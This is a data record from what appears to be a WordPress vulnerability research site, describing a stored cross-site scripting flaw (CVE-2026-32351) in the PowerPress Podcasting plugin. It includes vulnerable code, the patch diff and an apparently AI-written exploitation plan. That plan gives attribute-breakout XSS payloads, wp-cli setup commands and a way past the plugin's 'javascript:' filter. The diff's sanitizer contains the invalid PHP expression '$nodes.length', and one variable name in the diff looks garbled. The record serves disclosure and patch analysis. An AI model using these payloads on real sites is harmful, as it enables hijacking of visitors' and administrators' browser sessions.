[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fCRh7TT000dp7TDYiC0DidRdyd1wUWb-T-kX8PsxYZ1Q":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":28,"research_verified":29,"research_rounds_completed":30,"research_plan":31,"research_summary":32,"research_vulnerable_code":33,"research_fix_diff":34,"research_exploit_outline":35,"research_model_used":36,"research_started_at":37,"research_completed_at":38,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":29,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":29,"source_links":39},"CVE-2026-32351","powerpress-podcasting-authenticated-author-stored-cross-site-scripting-3","PowerPress Podcasting \u003C= 11.15.13 - Authenticated (Author+) Stored Cross-Site Scripting","The PowerPress Podcasting plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 11.15.13 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","powerpress",null,"\u003C=11.15.13","11.15.14","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-02-13 00:00:00","2026-04-15 21:04:08",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fca4f243d-0a56-4b6c-86f9-6eb435203ddc?source=api-prod",62,[22,23,24,25,26,27],"powerpress-player.php","powerpress.php","powerpressadmin-jquery.php","powerpressadmin.php","readme.txt","version.txt","researched",false,3,"This research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in the PowerPress Podcasting plugin, specifically within its shortcode handling logic.\n\n### 1. Vulnerability Summary\nThe PowerPress Podcasting plugin fails to sufficiently sanitize and escape attributes provided in its shortcodes, such as `[display_podcast]` and `[powerpress]`. While the plugin attempts to filter out `javascript:` URIs using a blacklist approach in `powerpress_shortcode_handler`, it does not escape the attributes before they are rendered in HTML contexts (such as `\u003Cimg>` tags or media player wrappers). This allows an authenticated user with at least Author-level privileges to inject malicious HTML attributes (e.g., `onerror`, `onmouseover`) or break out of HTML attributes to inject `\u003Cscript>` tags.\n\n### 2. Attack Vector Analysis\n*   **Shortcode:** `[display_podcast]` (and likely `[powerpress]`).\n*   **Vulnerable Attributes:** `image`, `width`, `height`.\n*   **Authentication Level:** Author (level required to create or edit posts and use shortcodes).\n*   **Payload Location:** The `post_content` field of a WordPress post or page.\n*   **Preconditions:** The `process_podpress` setting must be enabled for the `[display_podcast]` shortcode to be active (this is a common configuration for users migrating from PodPress).\n\n### 3. Code Flow\n1.  **Entry Point:** An Author creates a post containing a shortcode like:\n    `[display_podcast url=\"...\" image=\"x\\\" onerror=\\\"alert(1)\\\"\"]`\n2.  **Processing:** When the post is rendered, WordPress calls `do_shortcode()`, which triggers the registered callback for `display_podcast`: `powerpress_shortcode_handler` (defined in `powerpress-player.php`).\n3.  **Blacklist Filter:** In `powerpress_shortcode_handler`, the code attempts to filter attributes:\n    ```php\n    $attributes = array_filter($attributes, function ($var) {\n        $var_without_whitespace = preg_replace(\"\u002F\\s+\u002F\", \"\", $var);\n        if (strpos($var_without_whitespace, 'javascript:') === 0) {\n            return ''; \u002F\u002F Removes the attribute if it starts with javascript:\n        } else {\n            return $var;\n        }\n    });\n    ```\n    This only checks if the value *starts* with `javascript:`. It does not prevent attribute breakout using quotes.\n4.  **Extraction:** `extract( shortcode_atts( ..., $attributes ) );` assigns the malicious `image` value to the `$image` variable.\n5.  **Sink:** The `$image`, `$width`, and `$height` variables are passed into an array and sent to the `powerpress_player` filter:\n    ```php\n    $return .= apply_filters('powerpress_player', '', ..., array(..., 'image'=>$image, 'width'=>$width, 'height'=>$height) );\n    ```\n6.  **Rendering:** Functions hooked to `powerpress_player` (like `powerpressplayer_mediaobjects_video` or `powerpressplayer_mediaobjects_audio`, registered in `powerpressplayer_init`) use these values to construct HTML. Based on the vulnerability report, these functions output the variables without using `esc_attr()`, leading to XSS.\n\n### 4. Nonce Acquisition Strategy\n**No nonce is required.**\nShortcodes are processed server-side during the rendering of post content. Any user who can view the post (including guests) will trigger the execution of the stored payload. The \"Author\" role is only required to *store* the payload initially via the standard WordPress post editor.\n\n### 5. Exploitation Strategy\nThe goal is to inject a payload that executes when a user views the post.\n\n1.  **Setup the Plugin Setting:** Enable the compatibility shortcode if necessary.\n2.  **Create the Post:** Use `wp_cli` (as the agent) to create a post as an Author with the malicious shortcode.\n3.  **Trigger Execution:** Use `http_request` to browse to the post's permalink and verify the script executes.\n\n**Payload:**\nWe will use the `image` attribute to break out of a `src` or `poster` attribute.\n`image='x\" onmouseover=\"alert(document.domain)\" style=\"position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999;\"'`\n*This payload is designed to cover the entire screen, ensuring the `onmouseover` event is triggered immediately.*\n\n### 6. Test Data Setup\n1.  **Create Author User:**\n    ```bash\n    wp user create attacker attacker@example.com --role=author --user_pass=password\n    ```\n2.  **Enable PodPress Processing:**\n    The `[display_podcast]` shortcode is only registered if `process_podpress` is set.\n    ```bash\n    wp option patch insert powerpress_general process_podpress 1\n    ```\n3.  **Create the Malicious Post:**\n    ```bash\n    AUTHOR_ID=$(wp user get attacker --field=ID)\n    wp post create --post_type=post --post_status=publish --post_author=$AUTHOR_ID \\\n      --post_title=\"Podcast Episode\" \\\n      --post_content='[display_podcast url=\"https:\u002F\u002Fmedia.blubrry.com\u002Fblubrrypreview\u002Fcontent.blubrry.com\u002Fblubrrypreview\u002Ftranscript_test_episode.mp3\" image=\"x\\\" onmouseover=\\\"alert(document.domain)\\\" style=\\\"position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999;background:rgba(255,0,0,0.1);\\\"\"]'\n    ```\n\n### 7. Expected Results\nWhen viewing the post, the generated HTML will contain a player element with an attribute breakout. For example:\n```html\n\u003Cimg src=\"x\" onmouseover=\"alert(document.domain)\" style=\"position:fixed;...\" ...>\n```\nOr, if used in a video poster:\n```html\n\u003Cvideo poster=\"x\" onmouseover=\"alert(document.domain)\" ...>\n```\nThe browser will execute `alert(document.domain)` when the mouse moves over the page.\n\n### 8. Verification Steps\n1.  **Identify Post URL:**\n    ```bash\n    POST_URL=$(wp post list --post_type=post --title=\"Podcast Episode\" --field=url)\n    ```\n2.  **Request Post Content:** Use the `http_request` tool to fetch the `POST_URL`.\n3.  **Inspect Response:** Search the response body for the string:\n    `onmouseover=\"alert(document.domain)\"`\n    Confirm it is rendered outside of the expected attribute quotes.\n\n### 9. Alternative Approaches\nIf `[display_podcast]` is restricted or the payload is blocked by another filter:\n*   **Try `width` or `height` attributes:**\n    `[display_podcast url=\"...\" width='100%\" onmouseover=\"alert(1)\"']`\n*   **Try the `[powerpress]` shortcode:** Although registration isn't in the provided snippet, it is the plugin's primary shortcode and likely shares the `powerpress_shortcode_handler` callback or similar logic.\n*   **Bypass `javascript:` filter:** If the sink is within a `src` attribute of an `\u003Ca>` or `\u003Ciframe>` tag, use `ja v\\nascript:alert(1)` (with whitespace) to bypass the `strpos(..., 'javascript:') === 0` check, as the plugin only removes whitespace *before* checking the prefix.","The PowerPress Podcasting plugin is vulnerable to Stored Cross-Site Scripting via shortcode attributes and embed fields due to insufficient input validation and output escaping. Authenticated attackers with Author-level privileges can inject malicious scripts into posts via attributes like 'image' in the [display_podcast] shortcode or via the podcast embed field, which execute in the browser of any user viewing the affected page.","\u002F\u002F powerpress-player.php lines 133-145\n\tif (is_array($attributes)) {\n        $attributes = array_filter($attributes, function ($var) {\n            $var_without_whitespace = preg_replace(\"\u002F\\s+\u002F\", \"\", $var);\n            if (strpos($var_without_whitespace, 'javascript:') === 0) {\n                return '';\n            } else {\n                return $var;\n            }\n        });\n    }\n\n---\n\n\u002F\u002F powerpress.php line 411\nif ($EpisodeData && !empty($EpisodeData['embed'])) {\n    $new_content .= trim($EpisodeData['embed']);\n    if (!empty($GeneralSettings['embed_replace_player']))\n        $AddDefaultPlayer = false;\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpowerpress\u002F11.15.13\u002Fpowerpressadmin-jquery.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpowerpress\u002F11.15.14\u002Fpowerpressadmin-jquery.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpowerpress\u002F11.15.13\u002Fpowerpressadmin-jquery.php\t2026-01-22 16:39:08.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpowerpress\u002F11.15.14\u002Fpowerpressadmin-jquery.php\t2026-02-12 15:03:12.000000000 +0000\n@@ -2302,8 +2302,6 @@\n if( !defined('WP_ADMIN') )\n \trequire_once(ABSPATH . 'wp-admin\u002Fincludes\u002Fadmin.php');\n \n-wp_admin_css( 'css\u002Fglobal' );\n-wp_admin_css();\n if( $jquery )\n \twp_enqueue_script('utils');\n \n@@ -2370,8 +2368,6 @@\n if( !defined('WP_ADMIN') )\n \trequire_once(ABSPATH . 'wp-admin\u002Fincludes\u002Fadmin.php');\n \n-wp_admin_css( 'css\u002Fglobal' );\n-wp_admin_css();\n if( $jquery )\n \twp_enqueue_script('utils');\n \ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpowerpress\u002F11.15.13\u002Fpowerpressadmin.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpowerpress\u002F11.15.14\u002Fpowerpressadmin.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpowerpress\u002F11.15.13\u002Fpowerpressadmin.php\t2026-02-04 16:44:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpowerpress\u002F11.15.14\u002Fpowerpressadmin.php\t2026-02-12 15:03:12.000000000 +0000\n@@ -6902,7 +6902,7 @@\n \t\t\t\t\t$embed = preg_replace('\u002Fwidth=\"(\\d{1,4})\"\u002Fi', 'width=\"100%\"', $embed );\n \t\t\t\t\t\n \t\t\t\t\techo '\u003Cdiv class=\"powerpressNewsPlayer\">';\n-\t\t\t\t\techo $embed;\n+\t\t\t\t\techo SanitizeEmbed($embed);\n \t\t\t\t\techo '\u003C\u002Fdiv>';\n \t\t\t\t}\n \t\t\t\telse if( $first_item )\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpowerpress\u002F11.15.13\u002Fpowerpress.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpowerpress\u002F11.15.14\u002Fpowerpress.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpowerpress\u002F11.15.13\u002Fpowerpress.php\t2026-02-05 16:18:26.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpowerpress\u002F11.15.14\u002Fpowerpress.php\t2026-02-12 15:03:12.000000000 +0000\n@@ -408,7 +408,7 @@\n                         $AddDefaultPlayer = empty($EpisodeData['no_player']);\n \n                         if ($EpisodeData && !empty($EpisodeData['embed'])) {\n-                            $new_content .= trim($EpisodeData['embed']);\n+                            $new_content .= SanitizeEmbed(trim($EpisodeData['embed']));\n                             if (!empty($GeneralSettings['embed_replace_player']))\n                                 $AddDefaultPlayer = false;\n                         }\n@@ -608,6 +608,69 @@\n     }\n }\n \n+function SanitizeEmbed($html) {\n+    $dom = new DOMDocument();\n+    libxml_use_internal_errors(true);\n+    \u002F\u002F force UTF-8 encoding\n+    $html_encoded = '\u003C?xml encoding=\"UTF-8\">\u003Cdiv>' . $html . '\u003C\u002Fdiv>';\n+    $dom->loadHTML($html_encoded, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD);\n+    $allowed_tags = ['iframe', 'div'];\n+    $allowed_attrs = ['src', 'width', 'height', 'frameborder', 'allow', 'sandbox', 'referrerpolicy', 'loading', 'allowfullscreen', 'title', 'scrolling', 'alt'];\n+\n+    $xpath = new DOMXPath($dom);\n+    $nodes = $xpath->query('\u002F\u002F*');\n+\n+    for ($i = $nodes.length - 1; $i >= 0; $i--) {\n+        $node = $nodes->item($i);\n+        \u002F\u002F remove unauthorized tags\n+        if (!in_array($node->nodeName, $allowed_tags)) {\n+            $node->parentNode->removeChild($node);\n+            continue;\n+        }\n+\n+        \u002F\u002F clean attributes\n+        if ($node->hasAttributes()) {\n+            $attrsToRemove = [];\n+            foreach ($node->attributes as $attr) {\n+                \u002F\u002F remove unauthorized attributes\n+                if (!in_array($attr->name, $allowed_attrs)) {\n+                    $attrsToRemove[] = $attr->name;\n+                    continue;\n+                }\n+\n+                \u002F\u002F remove any attributes with xss\n+                $bad_schemes = [\n+                    'javascript:',\n+                    'vbscript:',\n+                    'data:',\n+                    'file:',\n+                    'mhtml:'\n+                ];\n+                foreach ($bad_schemes as $scheme) {\n+                    if (stripos($attr->value, $scheme) !== false) {\n+                        $attrsToRemove[] = $attr->name;\n+                        continue 2;\n+                    }\n+                }\n+            }\n+            \u002F\u002F Remove the bad attributes we found\n+            foreach ($attrsToRemove as $attrName) {\n+                $node->removeAttribute($attrName);\n+            }\n+        }\n+    }\n+\n+    \u002F\u002F remove the wrapper\n+    $container = $dom->getElementsByTagName('div')->item(0);\n+    $output = '';\n+    if ($container) {\n+        foreach ($container->childNodes as $child) {\n+            $output .= $dom->saveHTML($child);\n+        }\n+    }\n+    return $output;\n+}\n+\n \n function powerpress_check_for_chartable()\n {\n@@ -4162,7 +4225,7 @@\n \n                     if( $EpisodeData && !empty($EpisodeData['embed']) )\n                     { \u002F\u002F powerpress.php @ 11.15.13 line 4165\n-                        $new_content .=  trim($EpisodeData['embed']);\n+                        $new_content .=  SanitizeEmbed(trim($EpisodeData['embed']));\n                         if( !empty($GeneralSettings['embed_replace_player']) )\n                             $AddDefaultPlayer = false;\n                     }\n@@ -5493,7 +5556,7 @@\n             $AddDefaultPlayer = true;\n             if( !empty($EpisodeData['embed']) )\n             {\n-                $recipienteturn .= $EpisodeData['embed'];\n+                $recipienteturn .= SanitizeEmbed($EpisodeData['embed']);\n                 if( !empty($GeneralSettings['embed_replace_player']) )\n                     $AddDefaultPlayer = false;\n             }\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpowerpress\u002F11.15.13\u002Fpowerpress-player.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpowerpress\u002F11.15.14\u002Fpowerpress-player.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpowerpress\u002F11.15.13\u002Fpowerpress-player.php\t2025-08-04 18:08:58.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpowerpress\u002F11.15.14\u002Fpowerpress-player.php\t2026-02-12 15:03:12.000000000 +0000\n@@ -168,7 +168,7 @@\n         }\n         $EpisodeData = powerpress_get_enclosure_data($post_id, $channel);\n \t\tif( !empty($EpisodeData['embed']) )\n-\t\t\t$return = $EpisodeData['embed'];\n+\t\t\t$return = SanitizeEmbed($EpisodeData['embed']);\n \t\t\n \t\t\u002F\u002F Shortcode over-ride settings:\n \t\tif( !empty($image) )\n@@ -266,7 +266,7 @@\n                     continue;\n \n                 if (!empty($EpisodeData['embed']))\n-                    $return .= $EpisodeData['embed'];\n+                    $return .= SanitizeEmbed($EpisodeData['embed']);\n \n                 \u002F\u002F Shortcode over-ride settings:\n                 if (!empty($image))\n@@ -1103,7 +1103,7 @@\n \t}\n \telse if( !empty($EpisodeData['embed']) )\n \t{\n-\t\techo $EpisodeData['embed'];\n+\t\techo SanitizeEmbed($EpisodeData['embed']);\n \t}\n \telse \u002F\u002F  if( !isset($EpisodeData['no_player']) ) \u002F\u002F Even if there is no player set, if the play in new window option is enabled then it should play here...","To exploit this vulnerability, an attacker requires Author-level permissions or higher to create or edit WordPress posts. \n\n1. The attacker creates a new post or edits an existing one.\n2. The attacker inserts a shortcode such as `[display_podcast]` or `[powerpress]` containing a malicious attribute. For example: `[display_podcast image=\"x\\\" onerror=\\\"alert(document.domain)\\\"\"]`. The attribute payload uses a double quote to break out of the HTML attribute context (e.g., the `src` or `poster` attribute of an image or video tag).\n3. Alternatively, if the attacker can modify the podcast episode's 'embed' field, they can inject arbitrary HTML\u002Fscripts that are echoed directly by the plugin.\n4. Once the post is saved and published, the plugin's shortcode handler processes the attributes but fails to sanitize them. When a user (including administrators) views the post, the injected event handler (like `onerror`) or script executes in their browser context.","gemini-3-flash-preview","2026-04-20 23:58:04","2026-04-20 23:58:56",{"type":40,"vulnerable_version":41,"fixed_version":11,"vulnerable_browse":42,"vulnerable_zip":43,"fixed_browse":44,"fixed_zip":45,"all_tags":46},"plugin","11.15.13","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fpowerpress\u002Ftags\u002F11.15.13","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fpowerpress.11.15.13.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fpowerpress\u002Ftags\u002F11.15.14","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fpowerpress.11.15.14.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fpowerpress\u002Ftags"]